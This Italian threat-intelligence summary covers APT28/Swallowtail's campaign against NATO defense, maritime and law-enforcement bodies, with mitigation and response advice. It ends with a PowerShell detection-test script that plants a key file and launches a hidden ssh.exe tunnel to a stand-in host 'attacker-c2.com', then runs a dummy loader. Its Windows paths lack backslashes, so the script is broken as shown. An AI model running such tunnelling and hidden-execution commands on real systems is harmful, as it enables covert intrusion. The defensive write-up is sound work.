Swallowtail collegato alla Russia prende di mira le aziende del settore della difesa della NATO

Riepilogo

Il gruppo di spionaggio russo Swallowtail, noto anche come APT28, ha condotto un’intrusione di diversi mesi prendendo di mira organizzazioni della difesa, marittime e delle forze dell’ordine nei paesi membri della NATO. Gli attaccanti hanno distribuito il backdoor Hookedge e un loader riflettente non documentato chiamato ld.exe per mantenere l’accesso ed eseguire payload in memoria. La campagna ha coinvolto anche tecniche avanzate come il tunneling SSH per un accesso persistente alla rete e il furto di credenziali NTLM basato su PowerShell.

Indagine

Il Threat Hunter Team di Symantec ha tracciato l’infezione iniziale a documenti Word abilitati per macro consegnati tramite Outlook. Gli analisti hanno identificato un meccanismo di consegna e richiamata usando webhook.site e un’istanza nascosta di Microsoft Edge per recuperare i compiti. Gli attaccanti hanno anche mostrato attività manuali, eseguendo ricognizione, sondaggio della rete interna, movimento laterale e raccolta di credenziali in ambienti compromessi.

Mitigazione

Le organizzazioni dovrebbero dare priorità al blocco degli endpoint noti di webhook.site malevoli e al monitoraggio di comportamenti anomali di Microsoft Edge, inclusi finestre del browser con un solo pixel o fuori dallo schermo. Si dovrebbe applicare un filtro d’uscita rigoroso per prevenire connessioni SSH non autorizzate, mentre i team di sicurezza dovrebbero monitorare l’attività sospetta del listener di PowerShell. La protezione endpoint dovrebbe anche rilevare il caricamento riflettente e i tentativi non autorizzati di accesso alle credenziali.

Risposta

Se viene rilevata un’attività legata a Hookedge, i risponditori dovrebbero immediatamente isolare i sistemi colpiti per interrompere i tunnel SSH attivi e le comunicazioni C2. Effettuare una perquisizione forense dettagliata per file non documentati come ld.exe e ispezionare i compiti pianificati per i meccanismi di persistenza. Effettuare un reset completo delle credenziali per gli account potenzialmente esposti durante il furto di credenziali NTLM o il compromesso della chiave SSH.

Esecuzione di Simulazione

• Narrativa & Comandi degli Attacchi: L’avversario intende stabilire un tunnel persistente e criptato verso la propria infrastruttura di Comando e Controllo (C2). Ha depositato una chiave privata SSH rubata in C:ProgramDataAdobeid_rsa per mescolarsi con i metadati software legittimi. Poi tentano di eseguire il tunnel usando ssh.exe. Dopo l’istituzione del tunnel, tentano di caricare un payload malevolo in memoria usando un loader riflettente personalizzato chiamato ld.exe. Queste azioni sono progettate per bypassare le difese perimetrali tradizionali usando strumenti legittimi (ssh.exe) e l’esecuzione in memoria (ld.exe).

• Script Test di Regressione:

  # 1. Simulare il Tunneling SSH di Swallowtail
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Attivare il rilevamento SSH tramite corrispondenza esatta della linea di comando
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Simulare l'esecuzione del Loader Riflettente
  # Creazione di un ld.exe fittizio per la generazione di telemetria
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Nota: In uno scenario reale, questo sarebbe un binario; qui simuliamo l'evento di creazione del processo
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Comandi per la Pulizia:

  # Rimuovere i file e le directory dannose simulate
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue